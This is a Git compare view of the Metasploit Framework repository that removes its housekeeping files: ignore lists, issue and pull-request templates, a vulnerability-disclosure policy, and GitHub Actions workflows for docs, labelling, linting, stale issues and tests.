Compare commits
21 Commits
6.2.13
..
2012030701
| Author | SHA1 | Date | |
|---|---|---|---|
| cdbdd476c9 | |||
| fee0c04b0e | |||
| ad0251e256 | |||
| d70596ab44 | |||
| 77a9b36901 | |||
| 060115edf4 | |||
| 057a22569b | |||
| f5e520cc53 | |||
| 7f9cd45dca | |||
| 5700bf9db4 | |||
| b3925c4465 | |||
| f40df69100 | |||
| dd42f241f7 | |||
| 15065ba627 | |||
| 9a37792328 | |||
| f52445930e | |||
| fdea0ad9c7 | |||
| 14270fe49f | |||
| 4259168703 | |||
| 5249e74ca7 | |||
| cf0cbff302 |
-105
@@ -1,105 +0,0 @@
|
||||
.dockerignore
|
||||
.gitignore
|
||||
.env*
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
!docker/database.yml
|
||||
Dockerfile
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
.ruby-version
|
||||
.ruby-gemset
|
||||
|
||||
.bundle
|
||||
Gemfile.local
|
||||
Gemfile.local.lock
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# Allow for a local choice of (unsupported / semi-supported) ruby versions
|
||||
# See PR #4136 for usage, but example usage for rvm:
|
||||
# rvm --create --versions-conf use 2.1.4@metasploit-framework
|
||||
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
|
||||
# rbenv shell 2.1.4
|
||||
.versions.conf
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# simplecov coverage data
|
||||
coverage/
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
external/source/meterpreter/java/extensions
|
||||
external/source/javapayload/bin
|
||||
external/source/javapayload/build
|
||||
# Java binary ignores. Replace the 5 above with this once we're merged.
|
||||
external/source/javapayload/*/.classpath
|
||||
external/source/javapayload/*/.project
|
||||
external/source/javapayload/*/.settings
|
||||
external/source/javapayload/*/bin
|
||||
external/source/javapayload/*/target
|
||||
external/source/javapayload/*/*/.classpath
|
||||
external/source/javapayload/*/*/.project
|
||||
external/source/javapayload/*/*/.settings
|
||||
external/source/javapayload/*/*/bin
|
||||
external/source/javapayload/*/*/target
|
||||
# Packaging directory
|
||||
pkg
|
||||
tags
|
||||
*.swp
|
||||
*.orig
|
||||
*.rej
|
||||
*~
|
||||
# Ignore backups of retabbed files
|
||||
*.notab
|
||||
|
||||
# ignore Visual Studio external source garbage
|
||||
*.suo
|
||||
*.sdf
|
||||
*.opensdf
|
||||
*.user
|
||||
|
||||
# Rails log directory
|
||||
/log
|
||||
# Rails tmp directory
|
||||
/tmp
|
||||
|
||||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
data/android
|
||||
data/java
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: https://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
# no need for rspecs
|
||||
spec/
|
||||
@@ -1,15 +0,0 @@
|
||||
# This file aims to document any commits which should be ignored from Git/Github history
|
||||
# Only whitespace changes should be added to this file where possible
|
||||
#
|
||||
# Additional details:
|
||||
# https://docs.github.com/en/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view
|
||||
#
|
||||
|
||||
# 2013: Retabbing the majority of Metasploit Framework to use two-space soft tabs instead of hard tabs
|
||||
7e5e0f7fc814fee55a1eca148c51f2344da65e59
|
||||
41e4375e43443bb568729a3079d3bf9944cbc669
|
||||
84aaf2334ae2de73f27999d4c003448c8e891d3a
|
||||
9f3a5dc5d0424c2c1a067b140b1642319dee65c2
|
||||
|
||||
# 2022: Fixing whitespace on the tests folder with "rubocop --fix-layout test"
|
||||
29cc349649f978304712dd0c31dc8861e9627209
|
||||
@@ -1,54 +0,0 @@
|
||||
---
|
||||
name: Bug Report 🐞
|
||||
about: Something isn't working as expected? Here is the right place to report.
|
||||
labels: "bug"
|
||||
---
|
||||
|
||||
<!--
|
||||
Please fill out each section below, otherwise, your issue will be closed. This info allows Metasploit maintainers to diagnose (and fix!) your issue as quickly as possible.
|
||||
|
||||
Useful Links:
|
||||
- Wiki: https://docs.metasploit.com/
|
||||
- Reporting a Bug: https://docs.metasploit.com/docs/using-metasploit/getting-started/reporting-a-bug.html
|
||||
|
||||
Before opening a new issue, please search existing issues: https://github.com/rapid7/metasploit-framework/issues
|
||||
-->
|
||||
|
||||
## Steps to reproduce
|
||||
|
||||
How'd you do it?
|
||||
|
||||
1. ...
|
||||
2. ...
|
||||
|
||||
This section should also tell us any relevant information about the
|
||||
environment; for example, if an exploit that used to work is failing,
|
||||
tell us the victim operating system and service versions.
|
||||
|
||||
## Were you following a specific guide/tutorial or reading documentation?
|
||||
|
||||
If yes link the guide/tutorial or documentation you were following here, otherwise you may omit this section.
|
||||
|
||||
## Expected behavior
|
||||
|
||||
What should happen?
|
||||
|
||||
## Current behavior
|
||||
|
||||
What happens instead?
|
||||
|
||||
### Metasploit version
|
||||
|
||||
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
|
||||
|
||||
## Additional Information
|
||||
If your version is less than `5.0.96`, please update to the latest version and ensure your issue is still present.
|
||||
|
||||
If the issue is encountered within `msfconsole`, please run the `debug` command using the instructions below. If the issue is encountered outisde `msfconsole`, or the issue causes `msfconsole` to crash on startup, please delete this section.
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Run the command `set loglevel 3`
|
||||
3. Take the steps necessary recreate your issue
|
||||
4. Run the `debug` command
|
||||
5. Copy all the output below the `===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE ===8<===` line and make sure to **REMOVE ANY SENSITIVE INFORMATION.**
|
||||
6. Replace these instructions and the paragraph above with the output from step 5.
|
||||
@@ -1,5 +0,0 @@
|
||||
blank_issues_enabled: false
|
||||
contact_links:
|
||||
- name: Termux Issues?
|
||||
url: https://github.com/rapid7/metasploit-framework/issues/11023
|
||||
about: Termux is not officially supported, check here for more info
|
||||
@@ -1,42 +0,0 @@
|
||||
---
|
||||
name: Documentation 📝
|
||||
about: Suggest better docs coverage for a particular tool or process.
|
||||
labels: "suggestion-docs"
|
||||
---
|
||||
|
||||
<!--
|
||||
To make it easier for us to help you, please include as much useful information as possible.
|
||||
|
||||
Useful Links:
|
||||
- Wiki: https://docs.metasploit.com/
|
||||
|
||||
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
|
||||
-->
|
||||
|
||||
## Summary
|
||||
|
||||
What problem(s) did you run into that caused you to request additional documentation? What questions do you think we should answer? What, if any, existing documentation relates to this proposal?
|
||||
|
||||
Some recommended topics to cover:
|
||||
|
||||
- List the topics you think should be here.
|
||||
- This list does not need to be exhaustive!
|
||||
|
||||
### Motivation
|
||||
|
||||
Why should we document this and who will benefit from it?
|
||||
|
||||
## Steps to resolve this issue
|
||||
|
||||
<!-- Your suggestion may require additional steps. Remember to add any relevant labels. Note that you'll need to fill in the link to a similar article as well as the correct section. Don't worry if you're not yet sure about these, especially if this is a brand new topic! -->
|
||||
|
||||
### Draft the doc
|
||||
|
||||
- [ ] Write the doc, following the format listed in these resources:
|
||||
- [Overview on contributing module documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html)
|
||||
- [Docs Templates](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
|
||||
- [Example of a similar article]()
|
||||
|
||||
### Open a pull request
|
||||
|
||||
- [ ] Open a pull request with your work including the words "closes #[this issue's number]" in the pull request description
|
||||
@@ -1,26 +0,0 @@
|
||||
---
|
||||
name: Feature Suggestion 💡
|
||||
about: Suggest a new idea for the project.
|
||||
labels: "suggestion-feature"
|
||||
---
|
||||
|
||||
<!--
|
||||
To make it easier for us to help you, please include as much useful information as possible.
|
||||
|
||||
Useful Links:
|
||||
- Wiki: https://docs.metasploit.com/
|
||||
|
||||
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
|
||||
-->
|
||||
|
||||
## Summary
|
||||
|
||||
Brief explanation of the feature.
|
||||
|
||||
### Basic example
|
||||
|
||||
If the proposal involves a new or changed API, include a basic code example. Omit this section if it's not applicable.
|
||||
|
||||
### Motivation
|
||||
|
||||
Why are we doing this? What use cases does it support? What is the expected outcome?
|
||||
@@ -1,26 +0,0 @@
|
||||
---
|
||||
name: Module Suggestion 📦
|
||||
about: Suggest a new module idea to include in framework.
|
||||
labels: "suggestion-module"
|
||||
---
|
||||
|
||||
<!--
|
||||
To make it easier for us to help you, please include as much useful information as possible.
|
||||
|
||||
Useful Links:
|
||||
- Wiki: https://docs.metasploit.com/
|
||||
|
||||
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
|
||||
-->
|
||||
|
||||
## Summary
|
||||
|
||||
Brief explanation of the module.
|
||||
|
||||
### Basic example
|
||||
|
||||
If you have a POC, blog post or any other useful references please let us know in this section.
|
||||
|
||||
### Motivation
|
||||
|
||||
Why are we doing this? What use cases does it support? What is the expected outcome?
|
||||
@@ -1,20 +0,0 @@
|
||||
---
|
||||
name: Question 🤔
|
||||
about: Usage question or discussion about Metasploit.
|
||||
labels: "question"
|
||||
---
|
||||
|
||||
<!--
|
||||
To make it easier for us to help you, please include as much useful information as possible.
|
||||
|
||||
Useful Links:
|
||||
- Wiki: https://docs.metasploit.com/
|
||||
|
||||
Before opening a new issue, please search existing issues https://github.com/rapid7/metasploit-framework/issues
|
||||
-->
|
||||
|
||||
## Summary
|
||||
|
||||
## Relevant information
|
||||
|
||||
<!-- Provide as much useful information as you can -->
|
||||
@@ -1,34 +0,0 @@
|
||||
Tell us what this change does. If you're fixing a bug, please mention
|
||||
the github issue number.
|
||||
|
||||
Please ensure you are submitting **from a unique branch** in your [repository](https://github.com/rapid7/metasploit-framework/pull/11086#issuecomment-445506416) to master in Rapid7's.
|
||||
|
||||
## Verification
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/windows/smb/ms08_067_netapi`
|
||||
- [ ] ...
|
||||
- [ ] **Verify** the thing does what it should
|
||||
- [ ] **Verify** the thing does not do what it should not
|
||||
- [ ] **Document** the thing and how it works ([Example](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/gather/aws_keys.md))
|
||||
|
||||
If you are opening a PR for a new module that exploits a **specific** piece of hardware or requires a **complex or hard-to-find** testing environment, we recommend that you send us a demo of your module executing correctly. Seeing your module in action will help us review your PR faster!
|
||||
|
||||
Specific Hardware Examples:
|
||||
* Switches
|
||||
* Routers
|
||||
* IP Cameras
|
||||
* IoT devices
|
||||
|
||||
Complex Software Examples:
|
||||
* Expensive proprietary software
|
||||
* Software with an extensive installation process
|
||||
* Software that requires exploit testing across multiple significantly different versions
|
||||
* Software without an English language UI
|
||||
|
||||
We will also accept demonstrations of successful module execution even if your module doesn't meet the above conditions. It's not a necessity, but it may help us land your module faster!
|
||||
|
||||
Demonstration of successful module execution can take the form of a packet capture (pcap) or a screen recording. You can send pcaps and recordings to [msfdev@metasploit.com](mailto:msfdev@metasploit.com). Please include a CVE number in the subject header (if applicable), and a link to your PR in the email body.
|
||||
If you wish to sanitize your pcap, please see the [wiki](https://docs.metasploit.com/docs/development/get-started/sanitizing-pcaps.html).
|
||||
@@ -1,35 +0,0 @@
|
||||
# Reporting security issues
|
||||
|
||||
Thanks for your interest in making Metasploit more secure! If you feel
|
||||
that you have found a security issue involving Metasploit, Meterpreter,
|
||||
Recog, or any other Rapid7 open source project, you are welcome to let
|
||||
us know in the way that's most comfortable for you.
|
||||
|
||||
## Via ZenDesk
|
||||
|
||||
You can click on the big orange button at [Rapid7's Vulnerability
|
||||
Disclosure][r7-vulns] page, which will get you to our general
|
||||
vulnerability reporting system. While this does require a (free) ZenDesk
|
||||
account to use, you'll get regular updates on your issue as our software
|
||||
support teams work through it. As it happens [that page][r7-vulns] also
|
||||
will tell you what to expect when it comes to reporting vulns, how fast
|
||||
we'll fix and respond, and all the rest, so it's a pretty good read
|
||||
regardless.
|
||||
|
||||
## Via email
|
||||
|
||||
If you're more of a traditionalist, you can email your finding to
|
||||
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
|
||||
encrypt your messages, but we certainly don't mind cleartext reports
|
||||
over email.
|
||||
|
||||
## NOT via GitHub Issues
|
||||
|
||||
Please don't! Disclosing security vulnerabilities to public bug trackers
|
||||
is kind of mean, even when it's well-intentioned, since you end up
|
||||
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
|
||||
you didn't!
|
||||
|
||||
[r7-vulns]:https://www.rapid7.com/security/disclosure/
|
||||
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
|
||||
|
||||
@@ -1,59 +0,0 @@
|
||||
name: Build Docs
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
- weekly-dependency-updates
|
||||
paths:
|
||||
- docs
|
||||
pull_request:
|
||||
branches-ignore:
|
||||
- weekly-dependency-updates
|
||||
|
||||
jobs:
|
||||
# Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
|
||||
build:
|
||||
runs-on: ubuntu-18.04
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.7
|
||||
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
working-directory: docs
|
||||
|
||||
- name: build
|
||||
working-directory: docs
|
||||
run: |
|
||||
bundle exec ruby build.rb
|
||||
bundle exec ruby build.rb --production
|
||||
@@ -1,220 +0,0 @@
|
||||
name: Labels
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
# This action can update/close issues
|
||||
issues: write
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
# This action can update/close pull requests
|
||||
pull-requests: write
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [labeled]
|
||||
issues:
|
||||
types: [labeled]
|
||||
|
||||
jobs:
|
||||
handle-labels:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/github-script@v3
|
||||
with:
|
||||
github-token: ${{secrets.GITHUB_TOKEN}}
|
||||
script: |
|
||||
// NOTE: The following section is JavaScript. Note that backticks will need to be escaped within
|
||||
// the multiline comment strings in the following config. When editing this file, using JavaScript
|
||||
// syntax highlighting might be easier.
|
||||
//
|
||||
// This script has intentionally been inlined instead of using third-party Github actions for both
|
||||
// security and performance reasons.
|
||||
const allConfig = {
|
||||
pullRequests: {
|
||||
attic: {
|
||||
close: true,
|
||||
comment: `
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it \`attic\` and closed it for now.
|
||||
|
||||
What does this generally mean? It could be one or more of several things:
|
||||
|
||||
- It doesn't look like there has been any activity on this pull request in a while
|
||||
- We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
|
||||
- Sometimes the implementation isn't quite right and a different approach is necessary.
|
||||
|
||||
We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!
|
||||
`
|
||||
},
|
||||
'needs-docs': {
|
||||
close: false,
|
||||
comment: `
|
||||
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
|
||||
|
||||
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
|
||||
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
|
||||
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
|
||||
`
|
||||
},
|
||||
'needs-linting': {
|
||||
close: false,
|
||||
comment: `
|
||||
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.
|
||||
|
||||
We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
|
||||
|
||||
\`\`\`
|
||||
rubocop <directory or file>
|
||||
tools/dev/msftidy.rb <directory or file>
|
||||
\`\`\`
|
||||
|
||||
You can automate most of these changes with the \`-a\` flag:
|
||||
|
||||
\`\`\`
|
||||
rubocop -a <directory or file>
|
||||
\`\`\`
|
||||
|
||||
Please update your branch after these have been made, and reach out if you have any problems.
|
||||
`
|
||||
},
|
||||
'needs-unique-branch': {
|
||||
close: true,
|
||||
comment: `
|
||||
Thanks for your pull request! We require for all contributed code to come from a **from a unique branch** in your repository before it can be merged.
|
||||
|
||||
Please create a new branch in your fork of framework and resubmit this from that branch.
|
||||
|
||||
If you are using Git on the command line that may look like:
|
||||
|
||||
\`\`\`
|
||||
# Checkout the master branch
|
||||
git checkout master
|
||||
|
||||
# Create a new branch for your feature
|
||||
git checkout -b <BRANCH_NAME>
|
||||
|
||||
# Add your new files
|
||||
git add modules/my-cool-new-module
|
||||
|
||||
# Commit your changes with a relevant message
|
||||
git commit
|
||||
|
||||
# Push your changes to GitHub
|
||||
git push origin <BRANCH_NAME>
|
||||
|
||||
# Now browse to the following URL and create your pull request!
|
||||
# - https://github.com/rapid7/metasploit-framework/pulls
|
||||
\`\`\`
|
||||
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
Please do resubmit from a unique branch, we greatly value your contribution! :tada:
|
||||
`
|
||||
},
|
||||
'needs-testing-environment': {
|
||||
close: false,
|
||||
comment: `
|
||||
Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.
|
||||
|
||||
We have been unable to test this module successfully. This may be due to software or hardware requirements we cannot replicate.
|
||||
|
||||
To help unblock this pull request, please:
|
||||
|
||||
- Comment with links to documentation on how to set up an environment, and provide exact software version numbers to use
|
||||
- Or comment guided steps on how to set up our environment for testing this module
|
||||
- Or send pcaps/screenshots/recordings of it working - you can email us msfdev[at]rapid7.com
|
||||
|
||||
Once there's a clear path for testing and evaluating this module, we can progress with this further.
|
||||
`
|
||||
},
|
||||
'needs-pull-request-template': {
|
||||
close: false,
|
||||
comment: `
|
||||
When creating a pull request, please ensure that the default pull request template has been updated with the required details.
|
||||
`
|
||||
},
|
||||
},
|
||||
issues: {
|
||||
termux: {
|
||||
close: true,
|
||||
comment: `
|
||||
Metasploit installation on Termux is not supported. Refer to the following for more information:
|
||||
|
||||
* https://github.com/rapid7/metasploit-framework/issues/11023
|
||||
`
|
||||
},
|
||||
// Used for issues that have had low effort applied, haven't followed the issue template, and there's not enough
|
||||
// information to warrant staying open
|
||||
'needs-issue-template': {
|
||||
close: true,
|
||||
comment: `
|
||||
When creating an issue, please ensure that the default issue template has been updated with the required details:
|
||||
https://github.com/rapid7/metasploit-framework/issues/new/choose
|
||||
|
||||
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
`
|
||||
},
|
||||
// Used for issues that have attempted to provide some details, but more information is required. This can be
|
||||
// useful for older issues, or issues that have been raised without following the issue template fully and have
|
||||
// useful comments present that stop it from being closed outright.
|
||||
'needs-more-information': {
|
||||
close: false,
|
||||
comment: `
|
||||
It looks like there's not enough information to replicate this issue. Please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
|
||||
This includes:
|
||||
|
||||
- All of the item points within this [template](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
|
||||
- The result of the \`debug\` command in your Metasploit console
|
||||
- Screenshots showing the issues you're having
|
||||
- Exact replication steps
|
||||
|
||||
The easier it is for us to replicate and debug an issue means there's a higher chance of this issue being resolved.
|
||||
`
|
||||
},
|
||||
// Used for issues that have zero effort applied, potentially bot related
|
||||
// https://github.com/rapid7/metasploit-framework/pull/13280#issuecomment-616842090
|
||||
potato: {
|
||||
close: true,
|
||||
comment: `
|
||||
When creating an issue, please ensure that the default issue template has been updated with the required details:
|
||||
https://github.com/rapid7/metasploit-framework/issues/new/choose
|
||||
|
||||
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
`
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
const issueType = context.eventName === 'issues' ? 'issues' : 'pullRequests';
|
||||
const config = allConfig[issueType][context.payload.label.name];
|
||||
if (!config) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (config.comment) {
|
||||
const precedingWhitespaceLength = config.comment.split("\n")[1].search(/\S/);
|
||||
const commentWithoutPreceedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
|
||||
await github.issues.createComment({
|
||||
issue_number: context.issue.number,
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
body: commentWithoutPreceedingWhitespace
|
||||
});
|
||||
}
|
||||
if (config.close) {
|
||||
await github.issues.update({
|
||||
issue_number: context.issue.number,
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
state: 'closed'
|
||||
});
|
||||
}
|
||||
@@ -1,63 +0,0 @@
|
||||
name: Lint
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
- weekly-dependency-updates
|
||||
pull_request:
|
||||
branches-ignore:
|
||||
- weekly-dependency-updates
|
||||
|
||||
jobs:
|
||||
msftidy:
|
||||
runs-on: ubuntu-18.04
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.6
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
|
||||
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
- name: Run msftidy
|
||||
run: |
|
||||
ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
ls -la ./.git/hooks
|
||||
./.git/hooks/post-merge
|
||||
@@ -1,55 +0,0 @@
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
# This action can update/close issues
|
||||
issues: write
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 15 * * 1-5"
|
||||
|
||||
name: Stale Bot workflow
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: stale
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: stale
|
||||
id: stale
|
||||
uses: actions/stale@v3
|
||||
with:
|
||||
repo-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
days-before-stale: 30
|
||||
days-before-close: 30
|
||||
operations-per-run: 75
|
||||
stale-issue-message: |
|
||||
Hi!
|
||||
|
||||
This issue has been left open with no activity for a while now.
|
||||
|
||||
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
|
||||
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
|
||||
|
||||
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
|
||||
close-issue-message: |
|
||||
Hi again!
|
||||
|
||||
It’s been 60 days since anything happened on this issue, so we are going to close it.
|
||||
Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
|
||||
|
||||
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
|
||||
exempt-issue-labels: |
|
||||
discussion,not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs,ascii-utf8-issues,database,feature,enhancement,library
|
||||
debug-only: false
|
||||
@@ -1,118 +0,0 @@
|
||||
name: Verify
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
- weekly-dependency-updates
|
||||
pull_request:
|
||||
branches-ignore:
|
||||
- weekly-dependency-updates
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-18.04
|
||||
timeout-minutes: 40
|
||||
name: Docker Build
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: docker-compose build
|
||||
run: |
|
||||
curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
|
||||
chmod +x docker-compose
|
||||
sudo mv docker-compose /usr/bin
|
||||
|
||||
/usr/bin/docker-compose build
|
||||
|
||||
test:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: postgres:9.6
|
||||
ports: ["5432:5432"]
|
||||
env:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: postgres
|
||||
options: >-
|
||||
--health-cmd pg_isready
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.6
|
||||
- 2.7
|
||||
- 3.0
|
||||
- 3.1
|
||||
os:
|
||||
- ubuntu-18.04
|
||||
- ubuntu-22.04
|
||||
exclude:
|
||||
- { os: ubuntu-22.04, ruby: 2.6 }
|
||||
- { os: ubuntu-22.04, ruby: 2.7 }
|
||||
- { os: ubuntu-22.04, ruby: 3.0 }
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
# Used for testing the remote data service
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
|
||||
